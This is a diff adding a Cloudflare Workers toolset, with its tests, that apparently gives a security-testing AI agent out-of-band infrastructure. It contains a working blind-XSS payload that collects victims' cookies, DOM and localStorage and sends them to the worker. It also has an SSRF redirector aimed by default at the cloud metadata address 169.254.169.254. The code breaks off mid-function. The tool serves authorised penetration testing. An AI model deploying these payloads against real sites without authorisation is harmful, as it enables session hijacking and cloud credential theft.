+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ result = await toolset.deploy(
+ template="custom",
+ name="dn-oast-test123",
+ worker_code='export default { fetch() { return new Response("OK"); } };',
+ )
+ assert "deployed successfully" in result.lower()
+
+ @pytest.mark.asyncio
+ async def test_redirect_target_passed_as_var(self, toolset: Wrangler) -> None:
+ # The redirect target must travel via --var, never into wrangler.toml
+ # where a crafted value could break out of the quoted string.
+ mock_proc = _mock_process(stdout=DEPLOY_OUTPUT)
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch(
+ "asyncio.create_subprocess_exec", return_value=mock_proc
+ ) as mock_exec,
+ ):
+ await toolset.deploy(
+ template="redirect",
+ name="dn-oast-redir",
+ redirect_target="http://169.254.169.254/latest/meta-data/",
+ )
+ args = mock_exec.call_args[0]
+ assert "--var=REDIRECT_TARGET:http://169.254.169.254/latest/meta-data/" in args
+
+ @pytest.mark.asyncio
+ async def test_redirect_target_requires_scheme(self, toolset: Wrangler) -> None:
+ result = await toolset.deploy(
+ template="redirect",
+ name="dn-oast-redir",
+ redirect_target="169.254.169.254/",
+ )
+ assert "full URL including scheme" in result
+
+ @pytest.mark.asyncio
+ async def test_deploy_writes_config(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(stdout=DEPLOY_OUTPUT)
+ written: dict[str, str] = {}
+ original_write = Path.write_text
+
+ def capture_write(self: Path, data: str, **_: object) -> int:
+ written[self.name] = data
+ return len(data)
+
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ patch.object(Path, "write_text", capture_write),
+ ):
+ await toolset.deploy(template="callback", name="dn-oast-test123")
+
+ toml = written["wrangler.toml"]
+ assert 'name = "dn-oast-test123"' in toml
+ assert 'main = "worker.js"' in toml
+ assert "compatibility_date" in toml
+ # account_id deliberately absent: it comes from the env var contract.
+ assert "account_id" not in toml
+ assert "export default" in written["worker.js"]
+
+ @pytest.mark.asyncio
+ async def test_auto_generated_name(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(stdout=DEPLOY_OUTPUT)
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ result = await toolset.deploy(template="callback")
+ assert "deployed successfully" in result.lower()
+ assert "dn-oast-" in result
+
+ @pytest.mark.asyncio
+ async def test_no_url_reported(self, toolset: Wrangler) -> None:
+ # workers.dev disabled for the account: deploy succeeds but no URL.
+ mock_proc = _mock_process(stdout="Deployed dn-oast-x triggers (0.5 sec)")
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ result = await toolset.deploy(template="callback", name="dn-oast-x")
+ assert "no workers.dev URL" in result
+
+ @pytest.mark.asyncio
+ async def test_temp_dir_cleaned_up(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(stdout=DEPLOY_OUTPUT)
+ rmtree_calls: list[str] = []
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ patch(
+ "shutil.rmtree", side_effect=lambda p, **_: rmtree_calls.append(str(p))
+ ),
+ ):
+ await toolset.deploy(template="callback", name="dn-oast-test123")
+ assert len(rmtree_calls) == 1
+ assert "dn-wrangler-" in rmtree_calls[0]
+
+
+# ---------------------------------------------------------------------------
+# Tail
+# ---------------------------------------------------------------------------
+
+
+class TestTail:
+ @pytest.mark.asyncio
+ async def test_missing_auth(self) -> None:
+ with patch.dict(os.environ, {}, clear=False):
+ os.environ.pop("CLOUDFLARE_API_TOKEN", None)
+ os.environ.pop("CF_API_TOKEN", None)
+ result = await Wrangler().tail(name="test")
+ assert "CLOUDFLARE_API_TOKEN" in result
+
+ @pytest.mark.asyncio
+ async def test_empty_name(self, toolset: Wrangler) -> None:
+ result = await toolset.tail(name="")
+ assert "required" in result.lower()
+
+ @pytest.mark.asyncio
+ async def test_invalid_name(self, toolset: Wrangler) -> None:
+ with patch("asyncio.create_subprocess_exec") as mock_exec:
+ result = await toolset.tail(name="UPPER")
+ mock_exec.assert_not_called()
+ assert "Invalid worker name" in result
+
+ @pytest.mark.asyncio
+ async def test_no_events(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(stdout="")
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ result = await toolset.tail(name="dn-oast-test", seconds=1)
+ assert "no events" in result.lower()
+
+ @pytest.mark.asyncio
+ async def test_events_captured(self, toolset: Wrangler) -> None:
+ event = {
+ "outcome": "ok",
+ "logs": [{"message": ['{"method":"GET","url":"https://w.dev/probe"}']}],
+ }
+ mock_proc = _mock_process(stdout=json.dumps(event))
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ result = await toolset.tail(name="dn-oast-test", seconds=1)
+ assert "probe" in result
+
+ @pytest.mark.asyncio
+ async def test_tail_error(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(
+ stderr="A request to the Cloudflare API failed", returncode=1
+ )
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ result = await toolset.tail(name="dn-oast-test", seconds=1)
+ assert result.startswith("Error")
+
+ @pytest.mark.asyncio
+ async def test_seconds_clamped_and_timed_out_is_stop(
+ self, toolset: Wrangler
+ ) -> None:
+ # 999s would stream for minutes; it must be clamped to 60 (+10s
+ # overhead). The timeout kill is the designed stop mechanism, not an
+ # error: captured events still parse, and a bare timeout with no
+ # events is a clean "no events" result.
+ event = {
+ "outcome": "ok",
+ "logs": [{"message": ["clamped-event"], "level": "log"}],
+ }
+ mock_proc = _mock_process(stdout=json.dumps(event))
+
+ wait_for_calls = {"n": 0}
+
+ async def timeout_once(coro, timeout=None):
+ # First wait_for (the stream window) times out; the second
+ # (reaping the killed process) succeeds.
+ wait_for_calls["n"] += 1
+ if wait_for_calls["n"] == 1:
+ raise asyncio.TimeoutError
+ return await coro
+
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ patch("asyncio.wait_for", side_effect=timeout_once),
+ ):
+ result = await toolset.tail(name="dn-oast-test", seconds=999)
+ assert "clamped-event" in result
+
+ @pytest.mark.asyncio
+ async def test_timed_out_no_events(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(stdout="")
+
+ wait_for_calls = {"n": 0}
+
+ async def timeout_once(coro, timeout=None):
+ wait_for_calls["n"] += 1
+ if wait_for_calls["n"] == 1:
+ raise asyncio.TimeoutError
+ return await coro
+
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ patch("asyncio.wait_for", side_effect=timeout_once),
+ ):
+ result = await toolset.tail(name="dn-oast-test", seconds=5)
+ assert "no events" in result.lower()
+
+
+# ---------------------------------------------------------------------------
+# List (Cloudflare REST API)
+# ---------------------------------------------------------------------------
+
+
+class TestList:
+ @pytest.mark.asyncio
+ async def test_missing_auth(self) -> None:
+ with patch.dict(os.environ, {}, clear=False):
+ os.environ.pop("CLOUDFLARE_API_TOKEN", None)
+ os.environ.pop("CF_API_TOKEN", None)
+ result = await Wrangler().list_workers()
+ assert "CLOUDFLARE_API_TOKEN" in result
+
+ @pytest.mark.asyncio
+ async def test_list_success(self, toolset: Wrangler) -> None:
+ body = {
+ "success": True,
+ "result": [
+ {"id": "dn-oast-abc12345"},
+ {"id": "other-worker"},
+ ],
+ "result_info": {
+ "page": 1,
+ "per_page": 2,
+ "total_count": 2,
+ "total_pages": 1,
+ },
+ }
+ mock_response = MagicMock()
+ mock_response.status_code = 200
+ mock_response.json.return_value = body
+ with patch("httpx.AsyncClient.get", new=AsyncMock(return_value=mock_response)):
+ result = await toolset.list_workers()
+ assert "dn-oast-abc12345" in result
+ assert "other-worker" in result
+ assert "created by this toolset" in result
+
+ @pytest.mark.asyncio
+ async def test_list_paginates(self, toolset: Wrangler) -> None:
+ # The scripts endpoint paginates; follow result_info until done.
+ page1 = {
+ "success": True,
+ "result": [{"id": "dn-oast-a1"}],
+ "result_info": {"page": 1, "per_page": 1, "total_count": 2},
+ }
+ page2 = {
+ "success": True,
+ "result": [{"id": "dn-oast-a2"}],
+ "result_info": {"page": 2, "per_page": 1, "total_count": 2},
+ }
+ mock_response1 = MagicMock()
+ mock_response1.status_code = 200
+ mock_response1.json.return_value = page1
+ mock_response2 = MagicMock()
+ mock_response2.status_code = 200
+ mock_response2.json.return_value = page2
+ with patch(
+ "httpx.AsyncClient.get",
+ new=AsyncMock(side_effect=[mock_response1, mock_response2]),
+ ):
+ result = await toolset.list_workers()
+ assert "dn-oast-a1" in result
+ assert "dn-oast-a2" in result
+
+ @pytest.mark.asyncio
+ async def test_list_empty(self, toolset: Wrangler) -> None:
+ body = {"success": True, "result": []}
+ mock_response = MagicMock()
+ mock_response.status_code = 200
+ mock_response.json.return_value = body
+ with patch("httpx.AsyncClient.get", new=AsyncMock(return_value=mock_response)):
+ result = await toolset.list_workers()
+ assert "No workers" in result
+
+ @pytest.mark.asyncio
+ async def test_list_api_error(self, toolset: Wrangler) -> None:
+ mock_response = MagicMock()
+ mock_response.status_code = 403
+ mock_response.text = "forbidden"
+ with patch("httpx.AsyncClient.get", new=AsyncMock(return_value=mock_response)):
+ result = await toolset.list_workers()
+ assert "403" in result
+
+ @pytest.mark.asyncio
+ async def test_list_network_error(self, toolset: Wrangler) -> None:
+ import httpx as _httpx
+
+ with patch(
+ "httpx.AsyncClient.get",
+ new=AsyncMock(side_effect=_httpx.ConnectError("refused")),
+ ):
+ result = await toolset.list_workers()
+ assert "Error" in result
+
+
+# ---------------------------------------------------------------------------
+# Delete
+# ---------------------------------------------------------------------------
+
+
+class TestDelete:
+ @pytest.mark.asyncio
+ async def test_missing_auth(self) -> None:
+ with patch.dict(os.environ, {}, clear=False):
+ os.environ.pop("CLOUDFLARE_API_TOKEN", None)
+ os.environ.pop("CF_API_TOKEN", None)
+ result = await Wrangler().delete(name="test")
+ assert "CLOUDFLARE_API_TOKEN" in result
+
+ @pytest.mark.asyncio
+ async def test_empty_name(self, toolset: Wrangler) -> None:
+ result = await toolset.delete(name="")
+ assert "required" in result.lower()
+
+ @pytest.mark.asyncio
+ async def test_delete_success(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(stdout="Successfully deleted dn-oast-test123")
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch(
+ "asyncio.create_subprocess_exec", return_value=mock_proc
+ ) as mock_exec,
+ ):
+ result = await toolset.delete(name="dn-oast-test123")
+ args = mock_exec.call_args[0]
+ assert "delete" in args
+ assert "dn-oast-test123" in args
+ assert "--force" in args
+ assert "deleted" in result.lower()
+
+ @pytest.mark.asyncio
+ async def test_delete_failure(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(stderr="not found", returncode=1)
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ result = await toolset.delete(name="dn-oast-missing")
+ assert result.startswith("Error")
+
+
+# ---------------------------------------------------------------------------
+# _run helper
+# ---------------------------------------------------------------------------
+
+
+class TestRunHelper:
+ @pytest.mark.asyncio
+ async def test_missing_binary_raises(self) -> None:
+ with patch("shutil.which", return_value=None):
+ with pytest.raises(FileNotFoundError):
+ await MODULE._run(["whoami"])
+
+ @pytest.mark.asyncio
+ async def test_timeout_kills_process(self) -> None:
+ mock_proc = _mock_process(stdout="")
+ wait_for_calls = {"n": 0}
+
+ async def timeout_once(coro, timeout=None):
+ wait_for_calls["n"] += 1
+ if wait_for_calls["n"] == 1:
+ raise asyncio.TimeoutError
+ return await coro
+
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ patch("asyncio.wait_for", side_effect=timeout_once),
+ ):
+ returncode, stdout, stderr, timed_out = await MODULE._run(
+ ["tail", "x"], timeout=1
+ )
+ mock_proc.kill.assert_called_once()
+ assert timed_out is True
+
+ @pytest.mark.asyncio
+ async def test_stdout_stderr_separate(self) -> None:
+ mock_proc = _mock_process(stdout="events", stderr="banner")
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ returncode, stdout, stderr, timed_out = await MODULE._run(["tail", "x"])
+ assert stdout == "events"
+ assert stderr == "banner"
+ assert timed_out is False
+
+ @pytest.mark.asyncio
+ async def test_telemetry_disabled(self) -> None:
+ # The runtime sandbox must not emit wrangler telemetry: set the env
+ # var on every subprocess invocation.
+ mock_proc = _mock_process(stdout="ok")
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch(
+ "asyncio.create_subprocess_exec", return_value=mock_proc
+ ) as mock_exec,
+ ):
+ await MODULE._run(["whoami"])
+ env = mock_exec.call_args.kwargs["env"]
+ assert env["WRANGLER_SEND_METRICS"] == "false"
+
+ @pytest.mark.asyncio
+ async def test_cf_alias_mapped_to_native_env(self) -> None:
+ # When only CF_* vars are set, wrangler still sees CLOUDFLARE_*.
+ mock_proc = _mock_process(stdout="ok")
+ with (
+ patch.dict(
+ os.environ,
+ {"CF_API_TOKEN": "cf-tok", "CF_ACCOUNT_ID": "cf-acct"},
+ clear=False,
+ ),
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch(
+ "asyncio.create_subprocess_exec", return_value=mock_proc
+ ) as mock_exec,
+ ):
+ os.environ.pop("CLOUDFLARE_API_TOKEN", None)
+ os.environ.pop("CLOUDFLARE_ACCOUNT_ID", None)
+ try:
+ await MODULE._run(["whoami"])
+ finally:
+ os.environ.pop("CF_API_TOKEN", None)
+ os.environ.pop("CF_ACCOUNT_ID", None)
+ env = mock_exec.call_args.kwargs["env"]
+ assert env["CLOUDFLARE_API_TOKEN"] == "cf-tok"
+ assert env["CLOUDFLARE_ACCOUNT_ID"] == "cf-acct"
+
+ @pytest.mark.asyncio
+ async def test_output_truncated(self) -> None:
+ mock_proc = _mock_process(stdout="x" * 100_000)
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ _, stdout, stderr, _ = await MODULE._run(["whoami"])
+ assert len(stdout) <= MODULE._MAX_OUTPUT
diff --git a/capabilities/web-security/tools/wrangler.py b/capabilities/web-security/tools/wrangler.py
new file mode 100644
index 0000000..c3d437b
--- /dev/null
+++ b/capabilities/web-security/tools/wrangler.py
@@ -0,0 +1,722 @@
+"""Wrangler: deploy Cloudflare Workers as custom OAST endpoints.
+
+Wraps the ``wrangler`` CLI (cloudflare/workers-sdk) to give the agent
+attacker-controlled, programmable callback infrastructure at Cloudflare's
+edge. Complements the passive OOB providers (``callback.py`` — webhook.site /
+interactsh), which can only *receive* callbacks, with workers that can also
+*serve content*: blind XSS payload hosting, custom response bodies, and 302
+redirectors for SSRF chain escalation.
+
+Templates:
+ callback — logs every request (method, URL, headers, body, CF geo
+ metadata) and answers 200 OK with permissive CORS.
+ blind-xss — serves a JS probe at ``/`` that collects cookies, DOM,
+ localStorage, origin and referrer from the *victim* page and
+ POSTs them back to ``/collect`` on the same worker.
+ redirect — answers 302 to a configurable target (SSRF filter bypass,
+ protocol downgrade, chained internal redirection).
+ custom — arbitrary worker code supplied by the caller.
+
+Auth is non-interactive and comes entirely from the environment, per
+wrangler's own contract: ``CLOUDFLARE_API_TOKEN`` and
+``CLOUDFLARE_ACCOUNT_ID``. The ``CF_API_TOKEN`` / ``CF_ACCOUNT_ID`` aliases
+(the env contract used by the flareprox tool in this capability) are accepted
+as fallbacks and mapped onto wrangler's names, so one credential pair drives
+both tools. Nothing is persisted by this toolset — no wrangler login state is
+created or required.
+
+The binary is installed by ``scripts/install_tools.sh`` and the runtime
+Dockerfile; the ``wrangler`` preflight check in capability.yaml reports its
+absence.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import json
+import os
+import re
+import secrets
+import shutil
+import string
+import tempfile
+from pathlib import Path
+from typing import Annotated
+
+import httpx
+from dreadnode.agents.tools import Toolset, tool_method
+
+_MAX_OUTPUT = 50_000
+_WORKER_PREFIX = "dn-oast-"
+_NAME_SUFFIX_LENGTH = 8
+# Wrangler's own config validation (verified against wrangler 4.x):
+# alphanumeric, lowercase, dashes and underscores, first character may not be
+# a dash. Enforced client-side so an invalid name fails fast with a clear
+# message instead of a wrangler parse error — and so a crafted name can never
+# reach the generated wrangler.toml as anything but a plain identifier.
+_NAME_PATTERN = re.compile(r"^[a-z0-9_][a-z0-9_-]*$")
+_API_BASE = "https://api.cloudflare.com/client/v4"
+# Compatibility date for generated wrangler.toml files. The templates only
+# use stable Workers APIs (fetch, Response, console.log), so any recent date
+# is safe; pinned rather than --latest so deploys are reproducible.
+_COMPATIBILITY_DATE = "2025-01-01"
+# Suppress wrangler telemetry from the runtime sandbox: keeps tool behavior
+# deterministic and avoids outbound requests that disconnected deployments
+# cannot make.
+_BASE_ENV = {"WRANGLER_SEND_METRICS": "false"}
+# Safety cap on list pagination: 20 pages x whatever the API's per-page size
+# is. An account with more OAST workers than that has bigger problems.
+_MAX_LIST_PAGES = 20
+
+# ---------------------------------------------------------------------------
+# Built-in worker templates
+# ---------------------------------------------------------------------------
+
+_OAST_CALLBACK_WORKER = """\
+// OAST callback worker — logs every request and returns a configurable response.
+export default {
+ async fetch(request) {
+ const url = new URL(request.url);
+ const headers = Object.fromEntries(request.headers.entries());
+ const body = request.method !== "GET" && request.method !== "HEAD"
+ ? await request.text()
+ : null;
+
+ // Log the interaction so `wrangler tail` can capture it.
+ console.log(JSON.stringify({
+ timestamp: new Date().toISOString(),
+ method: request.method,
+ url: request.url,
+ path: url.pathname + url.search,
+ headers,
+ body,
+ cf: request.cf || {},
+ }));
+
+ return new Response("OK", {
+ status: 200,
+ headers: { "Content-Type": "text/plain", "Access-Control-Allow-Origin": "*" },
+ });
+ },
+};
+"""
+
+_BLIND_XSS_WORKER = """\
+// Blind XSS payload server — serves a JS payload that exfiltrates page data
+// back to this same worker at /collect.
+export default {
+ async fetch(request) {
+ const url = new URL(request.url);
+
+ if (url.pathname === "/collect") {
+ const body = request.method !== "GET" ? await request.text() : "";
+ console.log(JSON.stringify({
+ type: "xss_exfil",
+ timestamp: new Date().toISOString(),
+ method: request.method,
+ headers: Object.fromEntries(request.headers.entries()),
+ body,
+ }));
+ return new Response("OK", {
+ status: 200,
+ headers: { "Access-Control-Allow-Origin": "*" },
+ });
+ }
+
+ if (url.pathname === "/options" || request.method === "OPTIONS") {
+ return new Response(null, {
+ status: 204,
+ headers: {
+ "Access-Control-Allow-Origin": "*",
+ "Access-Control-Allow-Methods": "GET, POST, OPTIONS",
+ "Access-Control-Allow-Headers": "Content-Type",
+ },
+ });
+ }
+
+ // Default: serve the XSS probe payload
+ const selfUrl = url.origin;
+ const payload = `(function(){
+ var d = document;
+ var data = {
+ url: location.href,
+ cookie: d.cookie,
+ dom: d.documentElement.outerHTML.substring(0, 8192),
+ localStorage: JSON.stringify(Object.entries(localStorage || {})),
+ origin: location.origin,
+ referrer: d.referrer
+ };
+ var x = new XMLHttpRequest();
+ x.open("POST", "${selfUrl}/collect", true);
+ x.setRequestHeader("Content-Type", "application/json");
+ x.send(JSON.stringify(data));
+ })();`;
+
+ return new Response(payload, {
+ status: 200,
+ headers: {
+ "Content-Type": "application/javascript",
+ "Access-Control-Allow-Origin": "*",
+ "Cache-Control": "no-store",
+ },
+ });
+ },
+};
+"""
+
+_REDIRECT_WORKER = """\
+// SSRF redirect worker — 302-redirects all requests to a configurable target.
+// The REDIRECT_TARGET var is set at deploy time (--var REDIRECT_TARGET:).
+export default {
+ async fetch(request, env) {
+ const target = env.REDIRECT_TARGET || "http://169.254.169.254/latest/meta-data/";
+ const url = new URL(request.url);
+
+ console.log(JSON.stringify({
+ type: "redirect",
+ timestamp: new Date().toISOString(),
+ method: request.method,
+ from: request.url,
+ to: target,
+ headers: Object.fromEntries(request.headers.entries()),
+ }));
+
+ return Response.redirect(target, 302);
+ },
+};
+"""
+
+_TEMPLATES: dict[str, str] = {
+ "callback": _OAST_CALLBACK_WORKER,
+ "blind-xss": _BLIND_XSS_WORKER,
+ "redirect": _REDIRECT_WORKER,
+}
+
+
+# ---------------------------------------------------------------------------
+# Helpers
+# ---------------------------------------------------------------------------
+
+
+# ANSI escape sequences (wrangler colorizes even when piped) — noise for
+# the LLM, so strip them from every output surface.
+_ANSI_PATTERN = re.compile(r"\x1b\[[0-9;]*m")
+
+
+def _clean(text: str) -> str:
+ """Strip ANSI color codes from wrangler output."""
+ return _ANSI_PATTERN.sub("", text)
+
+
+def _resolve_env() -> dict[str, str]:
+ """Resolve Cloudflare credentials with wrangler-native names.
+
+ ``CLOUDFLARE_API_TOKEN`` / ``CLOUDFLARE_ACCOUNT_ID`` are wrangler's own
+ contract. The ``CF_API_TOKEN`` / ``CF_ACCOUNT_ID`` aliases (used by the
+ flareprox tool in this capability) are accepted as fallbacks so one
+ credential pair can drive both tools.
+ """
+ api_token = (
+ os.environ.get("CLOUDFLARE_API_TOKEN", "").strip()
+ or os.environ.get("CF_API_TOKEN", "").strip()
+ )
+ account_id = (
+ os.environ.get("CLOUDFLARE_ACCOUNT_ID", "").strip()
+ or os.environ.get("CF_ACCOUNT_ID", "").strip()
+ )
+ return {
+ "CLOUDFLARE_API_TOKEN": api_token,
+ "CLOUDFLARE_ACCOUNT_ID": account_id,
+ }
+
+
+def _auth_error() -> str | None:
+ """Return a setup message when Cloudflare auth is missing, else None."""
+ env = _resolve_env()
+ if not env["CLOUDFLARE_API_TOKEN"]:
+ return (
+ "CLOUDFLARE_API_TOKEN is not set. Create an API token at "
+ "https://dash.cloudflare.com/profile/api-tokens with Workers "
+ "Scripts Edit permission and export it (CF_API_TOKEN is also "
+ "accepted)."
+ )
+ if not env["CLOUDFLARE_ACCOUNT_ID"]:
+ return (
+ "CLOUDFLARE_ACCOUNT_ID is not set. Find your Account ID in the "
+ "Cloudflare dashboard sidebar and export it (CF_ACCOUNT_ID is "
+ "also accepted)."
+ )
+ return None
+
+
+def _binary_error() -> str | None:
+ """Return a setup message when wrangler is not on PATH, else None."""
+ if shutil.which("wrangler") is None:
+ return (
+ "wrangler not found on PATH. It is installed by the web-security "
+ "capability (scripts/install_tools.sh); install manually with "
+ "`npm install -g wrangler`."
+ )
+ return None
+
+
+def _validate_name(name: str) -> str | None:
+ """Validate a worker name; return an error message or None."""
+ if not name:
+ return "Error: Worker name is required."
+ if not _NAME_PATTERN.fullmatch(name):
+ return (
+ f"Error: Invalid worker name '{name}'. Use lowercase "
+ "alphanumerics, dashes and underscores, starting with a letter "
+ "or digit."
+ )
+ return None
+
+
+def _generate_name() -> str:
+ """Generate a short unique worker name with the dn-oast- prefix."""
+ suffix = "".join(
+ secrets.choice(string.ascii_lowercase + string.digits)
+ for _ in range(_NAME_SUFFIX_LENGTH)
+ )
+ return f"{_WORKER_PREFIX}{suffix}"
+
+
+def _extract_worker_url(output: str) -> str:
+ """Extract the deployed workers.dev URL from wrangler deploy output."""
+ for line in output.splitlines():
+ stripped = line.strip()
+ if stripped.startswith("https://") and ".workers.dev" in stripped:
+ return stripped
+ return ""
+
+
+async def _run(
+ args: list[str],
+ *,
+ timeout: int = 120,
+ cwd: str | None = None,
+) -> tuple[int, str, str, bool]:
+ """Run a wrangler command; return (returncode, stdout, stderr, timed_out).
+
+ Env is the current environment plus wrangler telemetry suppression and
+ the CF_* -> CLOUDFLARE_* credential aliases, so wrangler sees one
+ consistent credential contract regardless of which pair the operator set.
+
+ stdout and stderr are kept separate: `tail --format json` streams events
+ to stdout while wrangler writes banners and errors to stderr, so callers
+ must be able to tell them apart.
+ """
+ wrangler = shutil.which("wrangler")
+ if wrangler is None:
+ raise FileNotFoundError(_binary_error())
+
+ env = {**os.environ, **_BASE_ENV}
+ resolved = _resolve_env()
+ for name, value in resolved.items():
+ if value and not os.environ.get(name, "").strip():
+ env[name] = value
+
+ proc = await asyncio.create_subprocess_exec(
+ wrangler,
+ *args,
+ stdout=asyncio.subprocess.PIPE,
+ stderr=asyncio.subprocess.PIPE,
+ cwd=cwd,
+ env=env,
+ )
+ try:
+ stdout, stderr = await asyncio.wait_for(proc.communicate(), timeout=timeout)
+ return (
+ proc.returncode or 0,
+ _clean(stdout.decode(errors="replace")).strip()[:_MAX_OUTPUT],
+ _clean(stderr.decode(errors="replace")).strip()[:_MAX_OUTPUT],
+ False,
+ )
+ except asyncio.TimeoutError:
+ # Kill and reap so no zombie is left behind; report whatever output
+ # was already captured — for `tail` the kill is the designed stop.
+ proc.kill()
+ try:
+ stdout, stderr = await asyncio.wait_for(proc.communicate(), timeout=5)
+ except asyncio.TimeoutError:
+ stdout = stderr = b""
+ return (
+ proc.returncode or 0,
+ _clean(stdout.decode(errors="replace")).strip()[:_MAX_OUTPUT],
+ _clean(stderr.decode(errors="replace")).strip()[:_MAX_OUTPUT],
+ True,
+ )
+
+
+def _combined(stdout: str, stderr: str) -> str:
+ """Merge wrangler stdout/stderr for display, stderr last, truncated."""
+ output = stdout
+ if stderr:
+ output = f"{stdout}\n{stderr}" if stdout else stderr
+ return output[:_MAX_OUTPUT]
+
+
+def _format_tail_output(output: str) -> str:
+ """Format `wrangler tail --format json` output into readable lines.
+
+ Each stdout line is a JSON event with ``logs`` (console.log output),
+ ``exceptions`` and, for request events, ``event.request``. Both surfaces
+ are extracted so custom workers that never call console.log still show
+ the request that reached them.
+ """
+ lines: list[str] = []
+ for raw in output.splitlines():
+ raw = raw.strip()
+ if not raw:
+ continue
+ try:
+ evt = json.loads(raw)
+ except json.JSONDecodeError:
+ lines.append(raw)
+ continue
+
+ parts: list[str] = []
+
+ request = (
+ evt.get("event", {}).get("request")
+ if isinstance(evt.get("event"), dict)
+ else None
+ )
+ if isinstance(request, dict) and request.get("url"):
+ method = str(request.get("method", "GET")).upper()
+ parts.append(f"{method} {request['url']}")
+
+ for log_entry in evt.get("logs", []):
+ if not isinstance(log_entry, dict):
+ continue
+ message = log_entry.get("message", [])
+ if isinstance(message, list):
+ text = " ".join(str(m) for m in message)
+ else:
+ text = str(message)
+ if text:
+ parts.append(text)
+
+ for exc in evt.get("exceptions", []):
+ if isinstance(exc, dict) and exc.get("name"):
+ parts.append(f"{exc['name']}: {exc.get('message', '')}")
+
+ if parts:
+ lines.append(" | ".join(parts)[:500])
+
+ return "\n".join(lines)
+
+
+# ---------------------------------------------------------------------------
+# Toolset
+# ---------------------------------------------------------------------------
+
+
+class Wrangler(Toolset):
+ """Deploy Cloudflare Workers as custom OAST endpoints.
+
+ Wraps the wrangler CLI to deploy, monitor, list, and delete Workers for
+ out-of-band testing: blind XSS payload hosting, configurable callback
+ receivers, and SSRF redirect servers. Requires CLOUDFLARE_API_TOKEN and
+ CLOUDFLARE_ACCOUNT_ID (CF_API_TOKEN / CF_ACCOUNT_ID also accepted).
+ """
+
+ @tool_method(name="wrangler_status", catch=True)
+ async def status(self) -> str:
+ """Check wrangler availability and Cloudflare authentication.
+
+ Verifies the wrangler binary is installed and the Cloudflare API
+ token is valid. Call this before deploying workers.
+ """
+ binary_err = _binary_error()
+ if binary_err:
+ return binary_err
+
+ auth_err = _auth_error()
+ if auth_err:
+ return auth_err
+
+ # `whoami --json` exits non-zero when not authenticated, unlike plain
+ # `whoami` which prints a "not authenticated" notice with exit 0.
+ try:
+ returncode, stdout, stderr, timed_out = await _run(
+ ["whoami", "--json"], timeout=30
+ )
+ except FileNotFoundError as e:
+ return f"Error: {e}"
+
+ if timed_out:
+ return "Error: wrangler whoami timed out."
+
+ info: dict[str, object] | None = None
+ for line in stdout.splitlines():
+ try:
+ parsed = json.loads(line)
+ if isinstance(parsed, dict):
+ info = parsed
+ except json.JSONDecodeError:
+ continue
+
+ if returncode != 0:
+ if isinstance(info, dict) and info.get("loggedIn") is False:
+ return (
+ "Error: wrangler reports not logged in. "
+ "Check CLOUDFLARE_API_TOKEN."
+ )
+ return (
+ "Error: token check failed (auth env vars are set but the "
+ f"token was rejected):\n{_combined(stdout, stderr)}"
+ )
+
+ return f"wrangler operational.\n{_combined(stdout, stderr)}"
+
+ @tool_method(name="wrangler_deploy", catch=True)
+ async def deploy(
+ self,
+ template: Annotated[
+ str,
+ (
+ "Worker template: 'callback' (OAST request logger), "
+ "'blind-xss' (serves XSS probe + collects exfil), "
+ "'redirect' (302 redirect for SSRF chains), "
+ "or 'custom' (provide your own code via worker_code)."
+ ),
+ ] = "callback",
+ name: Annotated[
+ str,
+ "Worker name. Leave empty for an auto-generated name.",
+ ] = "",
+ worker_code: Annotated[
+ str,
+ "Custom worker JavaScript code. Only used when template='custom'.",
+ ] = "",
+ redirect_target: Annotated[
+ str,
+ "Full redirect target URL incl. scheme (only for template='redirect').",
+ ] = "",
+ ) -> str:
+ """Deploy a Cloudflare Worker for OAST/blind testing.
+
+ Deploys a Worker to Cloudflare's edge and returns its public
+ workers.dev URL. The worker is immediately available for receiving
+ callbacks, serving payloads, or redirecting requests. Use
+ wrangler_tail to check for incoming interactions, and wrangler_delete
+ to clean up.
+ """
+ auth_err = _auth_error()
+ if auth_err:
+ return auth_err
+
+ if template == "custom":
+ if not worker_code.strip():
+ return "Error: worker_code is required when template='custom'."
